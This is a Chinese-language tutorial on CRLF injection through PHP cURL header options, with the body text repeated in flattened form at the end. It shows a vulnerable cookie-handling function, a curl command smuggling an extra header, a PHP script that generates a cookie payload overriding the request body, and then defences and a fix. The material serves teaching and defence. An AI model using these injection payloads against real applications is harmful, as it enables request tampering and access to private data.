CRLF Injection Into PHP’s cURL Options
字数 1179 2025-08-27 12:33:54

CRLF注入攻击与PHP cURL选项漏洞详解

漏洞概述

CRLF(回车换行)注入是一种通过注入特殊字符(回车符%0d和换行符%0a)来控制HTTP请求结构的攻击技术。在PHP的cURL选项中,当用户可控数据未经适当处理就直接用于设置HTTP头部时,攻击者可以利用此漏洞注入任意HTTP头部甚至修改请求体。

漏洞发现背景

作者在审查PHP代码时发现了一个处理"试用组"的函数:

function getTrialGroups() {
    $trialGroups = 'default';
    if (isset($_COOKIE['trialGroups'])) {
        $trialGroups = $_COOKIE['trialGroups'];
    }
    return explode(",", $trialGroups);
}

该函数从cookie中读取以逗号分隔的试用组列表,但缺乏输入验证和白名单机制。

漏洞利用场景

在以下代码中,试用组数据被直接用于设置cURL的HTTP头部:

$ch = curl_init("http://httpbin.org/post");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "X-Trial-Groups: " . implode(",", getTrialGroups())
]);

由于没有对CRLF字符进行过滤,攻击者可以注入任意HTTP头部。

攻击演示

基本头部注入

通过cookie注入额外的HTTP头部:

curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'

这会在请求中添加X-Injected: true头部。

HTTP请求结构分析

一个基本的HTTP POST请求结构:

POST /post HTTP/1.1
Host: httpbin.org
Connection: close
Content-Length: 7

thedata

关键点:

  1. 请求行(方法、路径、协议版本)
  2. 头部字段(每个头部以CRLF结尾)
  3. 空行(仅包含CRLF,分隔头部和主体)
  4. 请求主体

高级利用:请求体注入

通过精心构造的CRLF注入,不仅可以添加头部,还可以完全控制请求体:

  1. 构造恶意JSON数据:{"method": "getPrivateData", "params": []}
  2. 计算其长度(42字节)
  3. 注入Content-Length头部和双CRLF来分隔主体

生成攻击payload的PHP脚本:

$postData = '{"method": "getPrivateData", "params": []}';
$length = strlen($postData);
$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";
echo "trialGroups=" . urlencode($payload);

执行攻击:

curl -s localhost:1234 -b $(php gencookie.php)

结果会忽略原始JSON数据,转而使用注入的恶意JSON。

易受攻击的cURL选项

除了CURLOPT_HTTPHEADER外,以下cURL选项也存在类似风险:

  1. CURLOPT_HEADER - 设置请求头部
  2. CURLOPT_COOKIE - 设置Cookie头部
  3. CURLOPT_RANGE - 设置Range头部
  4. CURLOPT_REFERER - 设置Referer头部
  5. CURLOPT_USERAGENT - 设置User-Agent头部
  6. CURLOPT_PROXYHEADER - 设置代理头部

防御措施

  1. 输入验证:对所有用户提供的头部值进行严格验证
  2. CRLF过滤:移除或转义所有\r\n字符
  3. 白名单机制:只允许预定义的、安全的试用组值
  4. 编码处理:对动态生成的头部值进行URL编码或HTML实体编码
  5. 使用安全函数:如PHP的header()函数会自动防止CRLF注入

修复示例

function getTrialGroups() {
    $trialGroups = 'default';
    if (isset($_COOKIE['trialGroups'])) {
        // 只允许字母数字和逗号
        $trialGroups = preg_replace('/[^a-zA-Z0-9,]/', '', $_COOKIE['trialGroups']);
    }
    return explode(",", $trialGroups);
}

总结

CRLF注入到PHP cURL选项是一个严重的安全漏洞,允许攻击者:

  • 注入任意HTTP头部
  • 篡改请求体内容
  • 可能绕过安全控制
  • 执行各种HTTP请求走私攻击

开发人员应始终验证和清理所有用户提供的、用于构建HTTP请求的数据,特别是当这些数据用于设置敏感的cURL选项时。

CRLF注入攻击与PHP cURL选项漏洞详解 漏洞概述 CRLF(回车换行)注入是一种通过注入特殊字符(回车符%0d和换行符%0a)来控制HTTP请求结构的攻击技术。在PHP的cURL选项中,当用户可控数据未经适当处理就直接用于设置HTTP头部时,攻击者可以利用此漏洞注入任意HTTP头部甚至修改请求体。 漏洞发现背景 作者在审查PHP代码时发现了一个处理"试用组"的函数: 该函数从cookie中读取以逗号分隔的试用组列表,但缺乏输入验证和白名单机制。 漏洞利用场景 在以下代码中,试用组数据被直接用于设置cURL的HTTP头部: 由于没有对CRLF字符进行过滤,攻击者可以注入任意HTTP头部。 攻击演示 基本头部注入 通过cookie注入额外的HTTP头部: 这会在请求中添加 X-Injected: true 头部。 HTTP请求结构分析 一个基本的HTTP POST请求结构: 关键点: 请求行(方法、路径、协议版本) 头部字段(每个头部以CRLF结尾) 空行(仅包含CRLF,分隔头部和主体) 请求主体 高级利用:请求体注入 通过精心构造的CRLF注入,不仅可以添加头部,还可以完全控制请求体: 构造恶意JSON数据: {"method": "getPrivateData", "params": []} 计算其长度(42字节) 注入Content-Length头部和双CRLF来分隔主体 生成攻击payload的PHP脚本: 执行攻击: 结果会忽略原始JSON数据,转而使用注入的恶意JSON。 易受攻击的cURL选项 除了 CURLOPT_HTTPHEADER 外,以下cURL选项也存在类似风险: CURLOPT_HEADER - 设置请求头部 CURLOPT_COOKIE - 设置Cookie头部 CURLOPT_RANGE - 设置Range头部 CURLOPT_REFERER - 设置Referer头部 CURLOPT_USERAGENT - 设置User-Agent头部 CURLOPT_PROXYHEADER - 设置代理头部 防御措施 输入验证 :对所有用户提供的头部值进行严格验证 CRLF过滤 :移除或转义所有 \r 、 \n 字符 白名单机制 :只允许预定义的、安全的试用组值 编码处理 :对动态生成的头部值进行URL编码或HTML实体编码 使用安全函数 :如PHP的 header() 函数会自动防止CRLF注入 修复示例 总结 CRLF注入到PHP cURL选项是一个严重的安全漏洞,允许攻击者: 注入任意HTTP头部 篡改请求体内容 可能绕过安全控制 执行各种HTTP请求走私攻击 开发人员应始终验证和清理所有用户提供的、用于构建HTTP请求的数据,特别是当这些数据用于设置敏感的cURL选项时。